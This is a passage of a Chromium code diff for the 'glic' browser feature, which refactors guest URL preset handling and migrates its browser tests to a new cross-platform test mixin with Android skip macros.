-// Checks if a preset url is enabled and updates guest_url if so.
-void MaybeApplyPresetGuestUrl(GURL* guest_url, Profile* profile);
+// Checks if a preset url is enabled and returns it if so. Otherwise, returns
+// `guest_url`.
+GURL MaybeApplyPresetGuestUrl(GURL guest_url);
 
 // Returns an updated guest URL that includes a language parameter, set to the
 // browser's UI language. If the parameter is already present, its current value
diff --git a/chrome/browser/glic/host/guest_util_unittest.cc b/chrome/browser/glic/host/guest_util_unittest.cc
index e3a2619b..3149272d 100644
--- a/chrome/browser/glic/host/guest_util_unittest.cc
+++ b/chrome/browser/glic/host/guest_util_unittest.cc
@@ -132,11 +132,11 @@
   TestingProfile* profile = CreateTestingProfile();
   if (IsMultiInstanceEnabled()) {
     EXPECT_EQ(GURL("https://www.example.com/glic?mode=mi&hl=en"),
-              GetGuestURL(profile));
+              GetGuestURL());
     EXPECT_TRUE(
         net::GetValueForKeyInQuery(GetFreURL(profile), "mode", nullptr));
   } else {
-    EXPECT_EQ(GURL("https://www.example.org/glic?hl=en"), GetGuestURL(profile));
+    EXPECT_EQ(GURL("https://www.example.org/glic?hl=en"), GetGuestURL());
     EXPECT_FALSE(
         net::GetValueForKeyInQuery(GetFreURL(profile), "mode", nullptr));
   }
@@ -146,11 +146,10 @@
   // Test that disabling the feature does not add any multi-instance params.
   base::test::ScopedFeatureList feature_list;
   feature_list.InitAndDisableFeature(kGlicGuestUrlMultiInstanceParam);
-  TestingProfile* profile = CreateTestingProfile();
   if (IsMultiInstanceEnabled()) {
-    EXPECT_EQ(GURL("https://www.example.com/glic?hl=en"), GetGuestURL(profile));
+    EXPECT_EQ(GURL("https://www.example.com/glic?hl=en"), GetGuestURL());
   } else {
-    EXPECT_EQ(GURL("https://www.example.org/glic?hl=en"), GetGuestURL(profile));
+    EXPECT_EQ(GURL("https://www.example.org/glic?hl=en"), GetGuestURL());
   }
 }
 
diff --git a/chrome/browser/glic/public/glic_keyed_service.cc b/chrome/browser/glic/public/glic_keyed_service.cc
index 497e8827..9b872b3c 100644
--- a/chrome/browser/glic/public/glic_keyed_service.cc
+++ b/chrome/browser/glic/public/glic_keyed_service.cc
@@ -23,6 +23,7 @@
 #include "chrome/browser/actor/actor_task_metadata.h"
 #include "chrome/browser/actor/tools/tool_request.h"
 #include "chrome/browser/actor/ui/actor_ui_state_manager_interface.h"
+#include "chrome/browser/browser_process.h"
 #include "chrome/browser/contextual_cueing/contextual_cueing_service.h"
 #include "chrome/browser/contextual_cueing/contextual_cueing_service_factory.h"
 #include "chrome/browser/glic/actor/glic_actor_policy_checker.h"
@@ -147,23 +148,22 @@
       static_cast<GlicInstanceCoordinatorImpl*>(window_controller));
 }
 
-void WriteGuestUrlPresetToPrefs(Profile* profile,
-                                const char* switch_name,
+void WriteGuestUrlPresetToPrefs(const char* switch_name,
                                 const char* pref_name) {
   auto* command_line = base::CommandLine::ForCurrentProcess();
   if (command_line->HasSwitch(switch_name)) {
     std::string preset_url =
         GURL(command_line->GetSwitchValueASCII(switch_name)).spec();
-    profile->GetPrefs()->SetString(pref_name, preset_url);
+    g_browser_process->local_state()->SetString(pref_name, preset_url);
   }
 }
 
-void SetupGuestUrlPresetPrefs(Profile* profile) {
-  WriteGuestUrlPresetToPrefs(profile, ::switches::kGlicGuestUrlPresetAutopush,
+void SetupGuestUrlPresetPrefs() {
+  WriteGuestUrlPresetToPrefs(::switches::kGlicGuestUrlPresetAutopush,
                              prefs::kGlicGuestUrlPresetAutopush);
-  WriteGuestUrlPresetToPrefs(profile, ::switches::kGlicGuestUrlPresetPreprod,
+  WriteGuestUrlPresetToPrefs(::switches::kGlicGuestUrlPresetPreprod,
                              prefs::kGlicGuestUrlPresetPreprod);
-  WriteGuestUrlPresetToPrefs(profile, ::switches::kGlicGuestUrlPresetProd,
+  WriteGuestUrlPresetToPrefs(::switches::kGlicGuestUrlPresetProd,
                              prefs::kGlicGuestUrlPresetProd);
 }
 
@@ -177,8 +177,10 @@
     contextual_cueing::ContextualCueingService* contextual_cueing_service,
     actor::ActorKeyedService* actor_keyed_service)
     : profile_(profile),
+#if !BUILDFLAG(IS_ANDROID)  // NEEDS_ANDROID_IMPL: Actor
       actor_policy_checker_(
           std::make_unique<GlicActorPolicyChecker>(*profile_)),
+#endif
       enabling_(std::make_unique<GlicEnabling>(
           profile,
           &profile_manager->GetProfileAttributesStorage())),
@@ -201,6 +203,7 @@
       auth_controller_(std::make_unique<AuthController>(profile,
                                                         identity_manager,
                                                         /*use_for_fre=*/false)),
+
 #if !BUILDFLAG(IS_ANDROID)  // Single instance only
       occlusion_notifier_(UseDefaultWindowController()
                               ? std::make_unique<GlicOcclusionNotifier>(
@@ -258,7 +261,7 @@
 
   // Sets up prefs storing manually configured glic guest URLs. Intended for
   // manual testing only.
-  SetupGuestUrlPresetPrefs(profile_);
+  SetupGuestUrlPresetPrefs();
 
   // This is only used by automation for tests.
   glic_profile_manager->MaybeAutoOpenGlicPanel();
diff --git a/chrome/browser/glic/public/glic_keyed_service.h b/chrome/browser/glic/public/glic_keyed_service.h
index 0cf327fd..985bb1c 100644
--- a/chrome/browser/glic/public/glic_keyed_service.h
+++ b/chrome/browser/glic/public/glic_keyed_service.h
@@ -427,8 +427,10 @@
 
   raw_ptr<Profile> profile_;
 
-  // Never null - GlicActorTaskManager holds a reference so this must be
-  // destroyed after it.
+  // Never null - GlicActorTaskManager and GlicInstanceCoordinatorImpl hold a
+  // reference to this so it must be destroyed after them.
+  // NEEDS_ANDROID_IMPL: This is temporarily null on Android until
+  // ActorKeyedService stops crashing at runtime.
   std::unique_ptr<GlicActorPolicyChecker> actor_policy_checker_;
 
   std::unique_ptr<GlicEnabling> enabling_;
@@ -444,6 +446,7 @@
   std::unique_ptr<AuthController> auth_controller_;
   std::unique_ptr<base::MemoryPressureListenerRegistration>
       memory_pressure_listener_registration_;
+
 #if !BUILDFLAG(IS_ANDROID)  // Single instance only
   // Null in multi-instance mode.
   std::unique_ptr<GlicOcclusionNotifier> occlusion_notifier_;
diff --git a/chrome/browser/glic/service/glic_instance_coordinator_browsertest.cc b/chrome/browser/glic/service/glic_instance_coordinator_browsertest.cc
index bf1347b5..ee16a2df 100644
--- a/chrome/browser/glic/service/glic_instance_coordinator_browsertest.cc
+++ b/chrome/browser/glic/service/glic_instance_coordinator_browsertest.cc
@@ -7,7 +7,6 @@
 // and debug. When waiting is required, `base::test::RunUntil` is usually
 // sufficient and simpler than a full `RunTestSequence`.
 
-#include "base/task/current_thread.h"
 #include "base/test/run_until.h"
 #include "base/test/scoped_feature_list.h"
 #include "base/test/test_future.h"
@@ -20,14 +19,11 @@
 #include "chrome/browser/glic/public/glic_keyed_service_factory.h"
 #include "chrome/browser/glic/public/glic_side_panel_coordinator.h"
 #include "chrome/browser/glic/service/glic_instance_coordinator_impl.h"
-#include "chrome/browser/glic/test_support/non_interactive_glic_test.h"
+#include "chrome/browser/glic/test_support/glic_browser_test.h"
 #include "chrome/browser/profiles/profile.h"
-#include "chrome/browser/ui/browser.h"
-#include "chrome/browser/ui/browser_tabstrip.h"
 #include "chrome/browser/ui/browser_window/public/browser_window_interface.h"
 #include "chrome/browser/ui/tabs/tab_list_interface.h"
 #include "chrome/common/chrome_features.h"
-#include "chrome/test/base/ui_test_utils.h"
 #include "components/prefs/pref_service.h"
 #include "components/tabs/public/tab_interface.h"
 #include "content/public/test/browser_test.h"
@@ -36,6 +32,11 @@
 #include "ui/gfx/geometry/point.h"
 #include "ui/gfx/geometry/point_conversions.h"
 
+#if BUILDFLAG(IS_ANDROID)
+#include "chrome/browser/ui/android/tab_model/tab_model.h"
+#include "content/public/browser/web_contents.h"
+#endif
+
 namespace glic {
 
 namespace {
@@ -135,7 +136,8 @@
 
 }  // namespace
 
-class GlicInstanceCoordinatorBrowserTest : public NonInteractiveGlicTest {
+class GlicInstanceCoordinatorBrowserTest
+    : public GlicBrowserTestMixin<PlatformBrowserTest> {
  public:
   GlicInstanceCoordinatorBrowserTest() {
     feature_list_.InitWithFeatures(
@@ -146,45 +148,55 @@
   }
   ~GlicInstanceCoordinatorBrowserTest() override = default;
 
-  GlicInstanceCoordinatorImpl& coordinator() {
-    return static_cast<GlicInstanceCoordinatorImpl&>(window_controller());
+  void SetUpOnMainThread() override {
+    // There are a number of APIs that aren't yet available on mobile android.
+    // This should be removed once those are available.
+    SKIP_TEST_FOR_NON_DESKTOP_ANDROID();
+    GlicBrowserTestMixin::SetUpOnMainThread();
   }
 
-  void ToggleGlic(bool prevent_close = false) {
-    coordinator().Toggle(browser(), prevent_close,
-                         mojom::InvocationSource::kOsButton,
-                         /*prompt_suggestion=*/std::nullopt);
-  }
+  tabs::TabInterface* CreateUserInitiatedTab(const GURL& url) {
+#if BUILDFLAG(IS_ANDROID)
+    auto* tab_list = GetTabListInterface();
+    CHECK(tab_list) << "TabListInterface is null";
+    auto* tab_model = static_cast<TabModel*>(tab_list);
+    Profile* profile = GetProfile();
+    CHECK(profile) << "Profile is null";
 
-  tabs::TabInterface* AddTab() {
-    content::WebContents* contents = chrome::AddAndReturnTabAt(
-        browser(), GURL("about:blank"), /*tab_index=*/-1, /*foreground=*/true);
-    return tabs::TabInterface::GetFromContents(contents);
+    std::unique_ptr<content::WebContents> web_contents =
+        content::WebContents::Create(
+            content::WebContents::CreateParams(profile));
+    web_contents->GetController().LoadURL(
+        url, content::Referrer(), ui::PAGE_TRANSITION_LINK, std::string());
+    tabs::TabInterface* new_tab =
+        tab_model->CreateTab(nullptr, std::move(web_contents), -1,
+                             TabModel::TabLaunchType::FROM_CHROME_UI, false);
+    tab_model->ActivateTab(new_tab->GetHandle());
+    return new_tab;
+#else
+    return CreateAndActivateTab(url);
+#endif
   }
 
  private:
   base::test::ScopedFeatureList feature_list_;
 };
 
-IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest, CoordinatorExists) {
-  EXPECT_TRUE(&coordinator());
-  EXPECT_EQ(&coordinator(),
-            &GlicKeyedService::Get(browser()->profile())->window_controller());
-}
-
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest, InitialState) {
   EXPECT_EQ(coordinator().GetInstances().size(), 0u);
 }
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        ToggleCreatesInstance) {
-  ToggleGlic();
+  ToggleGlicForActiveTab();
   EXPECT_EQ(coordinator().GetInstances().size(), 1u);
 }
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest, CloseHidesInstance) {
-  RunTestSequence(Do([this]() { ToggleGlic(); }), WaitForGlicOpen(),
-                  Do([this]() { ToggleGlic(); }), WaitForGlicClose());
+  ToggleGlicForActiveTab();
+  ASSERT_TRUE(WaitForGlicOpen());
+  ToggleGlicForActiveTab();
+  ASSERT_TRUE(WaitForGlicClose());
   for (auto* instance : coordinator().GetInstances()) {
     EXPECT_FALSE(instance->IsShowing());
   }
@@ -192,8 +204,8 @@
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        CreateConversationForTabs) {
-  tabs::TabInterface* tab1 = browser()->GetActiveTabInterface();
-  tabs::TabInterface* tab2 = AddTab();
+  tabs::TabInterface* tab1 = GetTabListInterface()->GetActiveTab();
+  tabs::TabInterface* tab2 = CreateAndActivateTab(GURL("about:blank"));
 
   coordinator().CreateNewConversationForTabs({tab1, tab2});
 
@@ -206,39 +218,37 @@
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        NewTabDaisyChaining) {
-  browser()->profile()->GetPrefs()->SetBoolean(
+  GetProfile()->GetPrefs()->SetBoolean(
       glic::prefs::kGlicKeepSidepanelOpenOnNewTabsEnabled, true);
 
-  ToggleGlic();
+  ASSERT_TRUE(OpenGlicForActiveTab());
 
-  tabs::TabInterface* tab1 = browser()->GetActiveTabInterface();
-  tabs::TabInterface* tab2 = AddTab();
+  tabs::TabInterface* tab1 = GetTabListInterface()->GetActiveTab();
+  tabs::TabInterface* tab2 = CreateUserInitiatedTab(GURL("about:blank"));
 
   EXPECT_TRUE(coordinator().GetInstanceForTab(tab1));
-  EXPECT_TRUE(coordinator().GetInstanceForTab(tab2));
-  EXPECT_NE(coordinator().GetInstanceForTab(tab1),
-            coordinator().GetInstanceForTab(tab2));
-  EXPECT_TRUE(coordinator().GetInstanceForTab(tab2)->IsShowing());
+  auto* tab2_instance = coordinator().GetInstanceImplForTab(tab2);
+  EXPECT_TRUE(tab2_instance);
+  EXPECT_NE(coordinator().GetInstanceForTab(tab1), tab2_instance);
+  EXPECT_TRUE(WaitForActiveEmbedderToMatchTab(tab2_instance, tab2));
 
-  browser()->profile()->GetPrefs()->SetBoolean(
+  GetProfile()->GetPrefs()->SetBoolean(
       glic::prefs::kGlicKeepSidepanelOpenOnNewTabsEnabled, false);
-  tabs::TabInterface* tab3 = AddTab();
+  tabs::TabInterface* tab3 = CreateUserInitiatedTab(GURL("about:blank"));
   EXPECT_FALSE(coordinator().GetInstanceForTab(tab3));
 }
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
-                       MoveTabsToConversation) {
-  tabs::TabInterface* tab1 = browser()->GetActiveTabInterface();
-  ToggleGlic();
-  tabs::TabInterface* tab2 = AddTab();
-  ToggleGlic();
+                       ShowInstanceForTabs) {
+  tabs::TabInterface* tab1 = GetTabListInterface()->GetActiveTab();
+  auto* instance1 = OpenGlicForActiveTab();
+  ASSERT_TRUE(instance1);
+  tabs::TabInterface* tab2 = CreateAndActivateTab(GURL("about:blank"));
+  auto* instance2 = OpenGlicForActiveTab();
+  ASSERT_TRUE(instance2);
   ASSERT_TRUE(tab1);
   ASSERT_TRUE(tab2);
 
-  GlicInstanceImpl* instance1 = coordinator().GetInstanceImplForTab(tab1);
-  EXPECT_TRUE(instance1);
-  GlicInstanceImpl* instance2 = coordinator().GetInstanceImplForTab(tab2);
-  EXPECT_TRUE(instance2);
   EXPECT_NE(instance1, instance2);
 
   // Assign a conversation ID to instance2 so it can be targeted.
@@ -257,24 +267,24 @@
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        TabContentsDaisyChaining) {
-  ToggleGlic();
-  RunTestSequence(WaitForGlicOpen());
-  tabs::TabInterface* tab1 = browser()->GetActiveTabInterface();
+  SKIP_NEEDS_ANDROID_IMPL(
+      "TabContentsDaisyChaining not yet supported on Android (b/479828899)");
 
-  // Allow multiple browsers for the Shift+Click test case.
-  browser_activator().SetMode(BrowserActivator::Mode::kFirst);
+  ASSERT_TRUE(OpenGlicForActiveTab());
+  ASSERT_TRUE(WaitForGlicOpen());
+  tabs::TabInterface* tab1 = GetTabListInterface()->GetActiveTab();
 
   // Case 1: Ctrl+Click (New Tab)
   {
-    GlicTestTabAddedWaiter waiter(browser()->profile());
+    GlicTestTabAddedWaiter waiter(GetProfile());
     SimulateLinkClick(tab1, /*ctrl_key=*/true, /*shift_key=*/false);
     tabs::TabInterface* tab2 = waiter.Wait();
 
-    GlicInstance* tab2_instance = coordinator().GetInstanceForTab(tab2);
+    GlicInstance* tab2_instance = WaitForGlicOpen(tab2);
 
     EXPECT_EQ(coordinator().GetInstanceForTab(tab1), tab2_instance);
     EXPECT_TRUE(tab2_instance->IsShowing());
-    EXPECT_EQ(tab1->GetBrowserWindowInterface()->GetActiveTabInterface(), tab1);
+    EXPECT_EQ(GetTabListInterface()->GetActiveTab(), tab1);
 
     // Verify side panel state for the background tab.
     EXPECT_TRUE(WaitForSidePanelState(
@@ -288,21 +298,22 @@
 
   // Case 2: Shift+Click (New Window)
   {
-    GlicTestTabAddedWaiter waiter(browser()->profile());
+    GlicTestTabAddedWaiter waiter(GetProfile());
     SimulateLinkClick(tab1, /*ctrl_key=*/false, /*shift_key=*/true);
 
     tabs::TabInterface* tab3 = waiter.Wait();
+    auto* new_window = tab3->GetBrowserWindowInterface();
 
     GlicInstance* tab3_instance = coordinator().GetInstanceForTab(tab3);
 
     EXPECT_EQ(coordinator().GetInstanceForTab(tab1), tab3_instance);
     EXPECT_TRUE(tab3_instance->IsShowing());
-    EXPECT_EQ(tab3->GetBrowserWindowInterface()->GetActiveTabInterface(), tab3);
+    EXPECT_EQ(TabListInterface::From(new_window)->GetActiveTab(), tab3);
   }
 
   // Case 3: Ctrl+Shift+Click (Foreground Tab)
   {
-    GlicTestTabAddedWaiter waiter(browser()->profile());
+    GlicTestTabAddedWaiter waiter(GetProfile());
     SimulateLinkClick(tab1, /*ctrl_key=*/true, /*shift_key=*/true);
     tabs::TabInterface* tab4 = waiter.Wait();
 
@@ -310,14 +321,16 @@
 
     EXPECT_EQ(coordinator().GetInstanceForTab(tab1), tab4_instance);
     EXPECT_TRUE(tab4_instance->IsShowing());
-    EXPECT_EQ(tab1->GetBrowserWindowInterface()->GetActiveTabInterface(), tab4);
+    EXPECT_EQ(GetTabListInterface()->GetActiveTab(), tab4);
   }
 }
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        TabContentsDaisyChainingSuppressedWhenUnifiedFreShown) {
-  ToggleGlic();
-  RunTestSequence(WaitForGlicOpen());
+  SKIP_NEEDS_ANDROID_IMPL(
+      "TabContentsDaisyChaining not yet supported on Android (b/479828899)");
+  auto* instance = OpenGlicForActiveTab();
+  ASSERT_TRUE(instance);
   tabs::TabInterface* tab1 = GetTabListInterface()->GetActiveTab();
 
   // Mock FRE opening
@@ -357,13 +370,15 @@
 IN_PROC_BROWSER_TEST_F(
     GlicInstanceCoordinatorTrustFirstOnboardingArm1BrowserTest,
     TabContentsDaisyChainingNotSuppressedWhenTrustFirstArm1Shown) {
+  SKIP_NEEDS_ANDROID_IMPL(
+      "TabContentsDaisyChaining not yet supported on Android (b/479828899)");
   // Open FRE.
-  browser()->profile()->GetPrefs()->SetInteger(
+  GetProfile()->GetPrefs()->SetInteger(
       prefs::kGlicCompletedFre,
       static_cast<int>(prefs::FreStatus::kNotStarted));
 
-  ToggleGlic();
-  RunTestSequence(WaitForGlicOpen());
+  auto* instance = OpenGlicForActiveTab();
+  ASSERT_TRUE(instance);
   tabs::TabInterface* tab1 = GetTabListInterface()->GetActiveTab();
 
   // Try to daisy chain via Page Contents
@@ -381,15 +396,12 @@
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        WebClientLinkClickDaisyChaining) {
-  ToggleGlic();
-  RunTestSequence(WaitForGlicOpen());
-  tabs::TabInterface* tab1 = browser()->GetActiveTabInterface();
-  GlicInstanceImpl* instance = coordinator().GetInstanceImplForTab(tab1);
+  auto* instance = OpenGlicForActiveTab();
   ASSERT_TRUE(instance);
 
   // Case 1: Create Foreground Tab
   {
-    GlicTestTabAddedWaiter waiter(browser()->profile());
+    GlicTestTabAddedWaiter waiter(GetProfile());
     instance->CreateTab(GURL("http://example.com"),
                         /*open_in_background=*/false,
                         /*window_id=*/std::nullopt, base::DoNothing());
@@ -397,12 +409,12 @@
 
     EXPECT_EQ(instance, coordinator().GetInstanceForTab(tab2));
     EXPECT_TRUE(coordinator().GetInstanceForTab(tab2)->IsShowing());
-    EXPECT_EQ(tab1->GetBrowserWindowInterface()->GetActiveTabInterface(), tab2);
+    EXPECT_EQ(GetTabListInterface()->GetActiveTab(), tab2);
   }
 
   // Case 2: Create Background Tab
   {
-    GlicTestTabAddedWaiter waiter(browser()->profile());
+    GlicTestTabAddedWaiter waiter(GetProfile());
     instance->CreateTab(GURL("http://example.com"), /*open_in_background=*/true,
                         /*window_id=*/std::nullopt, base::DoNothing());
     tabs::TabInterface* tab3 = waiter.Wait();
@@ -410,7 +422,7 @@
     EXPECT_EQ(instance, coordinator().GetInstanceForTab(tab3));
     EXPECT_TRUE(coordinator().GetInstanceForTab(tab3)->IsShowing());
     // Active tab should still be previously active tab (tab2)
-    EXPECT_NE(tab1->GetBrowserWindowInterface()->GetActiveTabInterface(), tab3);
+    EXPECT_NE(GetTabListInterface()->GetActiveTab(), tab3);
 
     EXPECT_TRUE(WaitForSidePanelState(
         tab3, GlicSidePanelCoordinator::State::kBackgrounded));
@@ -423,8 +435,8 @@
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        ActiveEmbedderFollowsActiveTab) {
-  tabs::TabInterface* tab1 = browser()->GetActiveTabInterface();
-  tabs::TabInterface* tab2 = AddTab();
+  tabs::TabInterface* tab1 = GetTabListInterface()->GetActiveTab();
+  tabs::TabInterface* tab2 = CreateAndActivateTab(GURL("about:blank"));
 
   coordinator().CreateNewConversationForTabs({tab1, tab2});
 
@@ -447,9 +459,9 @@
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        DeactivationWhenSwitchingToUnboundTab) {
-  tabs::TabInterface* tab1 = browser()->GetActiveTabInterface();
-  tabs::TabInterface* tab2 = AddTab();
-  tabs::TabInterface* tab3 = AddTab();
+  tabs::TabInterface* tab1 = GetTabListInterface()->GetActiveTab();
+  tabs::TabInterface* tab2 = CreateAndActivateTab(GURL("about:blank"));
+  tabs::TabInterface* tab3 = CreateAndActivateTab(GURL("about:blank"));
 
   // Bind tab1 and tab3 to the same instance.
   coordinator().CreateNewConversationForTabs({tab1, tab3});
@@ -487,11 +499,9 @@
 
 IN_PROC_BROWSER_TEST_F(GlicInstanceCoordinatorBrowserTest,
                        ExplicitPinningUsingShowInstanceForTabs) {
-  tabs::TabInterface* tab = browser()->GetActiveTabInterface();
-  ToggleGlic();
-  GlicInstanceImpl* instance = coordinator().GetInstanceImplForTab(tab);
+  tabs::TabInterface* tab = GetTabListInterface()->GetActiveTab();
+  auto* instance = OpenGlicForActiveTab();
   ASSERT_TRUE(instance);
-
   // Unpin the tab.
   instance->sharing_manager().UnpinTabs({tab->GetHandle()});
   EXPECT_FALSE(instance->sharing_manager().IsTabPinned(tab->GetHandle()));
diff --git a/chrome/browser/glic/test_support/BUILD.gn b/chrome/browser/glic/test_support/BUILD.gn
index aa39b33..3821a1e 100644
--- a/chrome/browser/glic/test_support/BUILD.gn
+++ b/chrome/browser/glic/test_support/BUILD.gn
@@ -9,6 +9,7 @@
 source_set("test_support") {
   testonly = true
   sources = [
+    "glic_browser_test.h",
     "glic_test_environment.cc",
     "glic_test_environment.h",
     "glic_test_util.cc",
@@ -46,6 +47,11 @@
       "//chrome/browser/ui/tabs:glic",
       "//ui/events:test_support",
     ]
+  } else {
+    deps += [
+      "//components/signin/public/android:jni_headers",
+      "//google_apis/gaia/android:jni_headers",
+    ]
   }
   public_deps = [ "//chrome/test:test_support" ]
 
diff --git a/chrome/browser/glic/test_support/glic_browser_test.h b/chrome/browser/glic/test_support/glic_browser_test.h
new file mode 100644
index 0000000..e8cf7285
--- /dev/null
+++ b/chrome/browser/glic/test_support/glic_browser_test.h
@@ -0,0 +1,285 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_GLIC_TEST_SUPPORT_GLIC_BROWSER_TEST_H_
+#define CHROME_BROWSER_GLIC_TEST_SUPPORT_GLIC_BROWSER_TEST_H_
+
+#include <map>
+#include <sstream>
+#include <string_view>
+
+#include "base/base_switches.h"
+#include "base/command_line.h"
+#include "base/path_service.h"
+#include "base/test/run_until.h"
+#include "base/test/scoped_feature_list.h"
+#include "build/android_buildflags.h"
+#include "build/build_config.h"
+#include "chrome/browser/glic/host/glic.mojom-shared.h"
+#include "chrome/browser/glic/public/glic_enabling.h"
+#include "chrome/browser/glic/public/glic_instance.h"
+#include "chrome/browser/glic/public/glic_keyed_service.h"
+#include "chrome/browser/glic/service/glic_instance_coordinator_impl.h"
+#include "chrome/browser/glic/service/glic_instance_impl.h"
+#include "chrome/browser/glic/test_support/glic_test_environment.h"
+#include "chrome/browser/glic/test_support/glic_test_util.h"
+#include "chrome/browser/glic/widget/glic_window_controller.h"
+#include "chrome/browser/ui/browser_window/public/browser_window_interface.h"
+#include "chrome/browser/ui/tabs/tab_list_interface.h"
+#include "chrome/common/chrome_switches.h"
+#include "chrome/test/base/platform_browser_test.h"
+#include "components/tabs/public/tab_interface.h"
+#include "url/gurl.h"
+#include "url/url_util.h"
+
+#if BUILDFLAG(IS_ANDROID)
+#include "base/android/device_info.h"
+#endif
+
+namespace glic {
+
+#if BUILDFLAG(IS_ANDROID)
+#define SKIP_TEST_FOR_NON_DESKTOP_ANDROID()            \
+  if (!base::android::device_info::is_desktop()) {     \
+    GTEST_SKIP() << "Skipping on non-desktop Android"; \
+  }
+#else
+#define SKIP_TEST_FOR_NON_DESKTOP_ANDROID()
+#endif
+
+#if BUILDFLAG(IS_ANDROID)
+#define SKIP_NEEDS_ANDROID_IMPL(message) \
+  if (true) {                            \
+    GTEST_SKIP() << message;             \
+  }
+#else
+#define SKIP_NEEDS_ANDROID_IMPL(message)
+#endif
+
+template <typename Trigger>
+[[nodiscard]] bool RunUntil(Trigger&& trigger, std::string_view message) {
+  if (base::test::RunUntil(std::forward<Trigger>(trigger))) {
+    return true;
+  }
+  LOG(ERROR) << message;
+  return false;
+}
+
+class GlicInstanceImpl;
+
+template <typename T>
+class GlicBrowserTestMixin : public T {
+ public:
+  template <typename... Args>
+  explicit GlicBrowserTestMixin(Args&&... args)
+      : T(std::forward<Args>(args)...) {
+    scoped_feature_list_.InitAndEnableFeature(features::kGlicMultiInstance);
+  }
+  ~GlicBrowserTestMixin() override = default;
+
+  // PlatformBrowserTest:
+  void SetUpCommandLine(base::CommandLine* command_line) override {
+    T::SetUpCommandLine(command_line);
+#if BUILDFLAG(IS_DESKTOP_ANDROID)
+    // This is needed to force is_desktop() to return true for desktop Android
+    // builds.
+    command_line->AppendSwitch(switches::kForceDesktopAndroid);
+#endif
+  }
+
+  void SetUpOnMainThread() override {
+    T::SetUpOnMainThread();
+
+    T::embedded_test_server()->ServeFilesFromDirectory(
+        base::PathService::CheckedGet(base::DIR_ASSETS)
+            .AppendASCII("gen/chrome/test/data/webui/glic/"));
+    T::embedded_https_test_server().ServeFilesFromDirectory(
+        base::PathService::CheckedGet(base::DIR_ASSETS)
+            .AppendASCII("gen/chrome/test/data/webui/glic/"));
+
+    T::embedded_test_server()->ServeFilesFromSourceDirectory(
+        "chrome/test/data/webui/glic/");
+    T::embedded_https_test_server().ServeFilesFromSourceDirectory(
+        "chrome/test/data/webui/glic/");
+
+    ASSERT_TRUE(test_server_handle_ =
+                    T::embedded_test_server()->StartAndReturnHandle());
+
+    // Need to set this here rather than in SetUpCommandLine because we need to
+    // use the embedded test server to get the right URL and it's not started
+    // at that time.
+    std::ostringstream path;
+    path << glic_page_path_;
+
+    // Append the query parameters to the URL.
+    bool first_param = true;
+    auto encode = [](const std::string_view& value) {
+      url::RawCanonOutputT<char> encoded;
+      url::EncodeURIComponent(value, &encoded);
+      return std::string(encoded.view());
+    };
+    for (const auto& [key, value] : mock_glic_query_params_) {
+      path << (first_param ? "?" : "&");
+      first_param = false;
+      path << encode(key);
+      if (!value.empty()) {
+        path << "=" << encode(value);
+      }
+    }
+
+    auto* command_line = base::CommandLine::ForCurrentProcess();
+    guest_url_ = T::embedded_test_server()->GetURL(path.str());
+    command_line->AppendSwitchASCII(::switches::kGlicGuestURL,
+                                    guest_url_.spec());
+    GURL fre_url = glic_fre_url_.value_or(
+        T::embedded_test_server()->GetURL("/glic/test_client/fre.html"));
+    command_line->AppendSwitchASCII(switches::kGlicFreURL, fre_url.spec());
+    LOG(INFO) << "GlicBrowserTest: done setting up";
+  }
+
+  // Toggles the Glic UI.
+  // If `prevent_close` is true, the Glic window will be set to prevent
+  // closing on deactivation (if applicable).
+  void ToggleGlicForActiveTab(bool prevent_close = false) {
+    auto* service = GlicKeyedService::Get(T::GetProfile());
+    service->ToggleUI(
+        T::GetTabListInterface()->GetActiveTab()->GetBrowserWindowInterface(),
+        prevent_close, mojom::InvocationSource::kTopChromeButton);
+  }
+
+  // Opens the Glic UI on the active tab and returns it.
+  [[nodiscard]] GlicInstanceImpl* OpenGlicForActiveTab() {
+    ToggleGlicForActiveTab(/*prevent_close=*/true);
+    GlicInstanceImpl* instance =
+        WaitForGlicOpen(T::GetTabListInterface()->GetActiveTab());
+    if (!instance) {
+      LOG(ERROR) << "Failed to open Glic for active tab";
+    }
+    return instance;
+  }
+
+  // Waits for the Glic UI to be open and visible. Defaults to the only glic
+  // instance, but can be specified. Returns the opened instance or nullptr if
+  // it fails to open.
+  [[nodiscard]] GlicInstanceImpl* WaitForGlicOpen(
+      GlicInstance* instance = nullptr) {
+    std::optional<InstanceId> id =
+        instance ? std::make_optional(instance->id()) : std::nullopt;
+    bool success = RunUntil(
+        [this, id]() {
+          GlicInstance* target =
+              id ? GetInstanceById(*id) : GetOnlyGlicInstance();
+          return target && target->IsShowing();
+        },
+        "Failed to wait for Glic to open");
+    if (!success) {
+      return nullptr;
+    }
+    return id ? GetInstanceById(*id) : GetOnlyGlicInstance();
+  }
+
+  // Waits for the Glic UI to be open and visible for a specific tab. Returns
+  // the opened instance or nullptr if it fails to open.
+  [[nodiscard]] GlicInstanceImpl* WaitForGlicOpen(tabs::TabInterface* tab) {
+    bool success = RunUntil(
+        [this, tab]() {
+          GlicInstance* instance = GetInstanceForTab(tab);
+          return instance && instance->IsShowing();
+        },
+        "Failed to wait for Glic to open for tab");
+    if (!success) {
+      return nullptr;
+    }
+    return GetInstanceForTab(tab);
+  }
+
+  // Waits for the Glic UI to be closed. Defaults to the only glic instance,
+  // but can be specified.
+  [[nodiscard]] bool WaitForGlicClose(GlicInstance* instance = nullptr) {
+    std::optional<InstanceId> id =
+        instance ? std::make_optional(instance->id()) : std::nullopt;
+    return RunUntil(
+        [this, id]() {
+          GlicInstance* target =
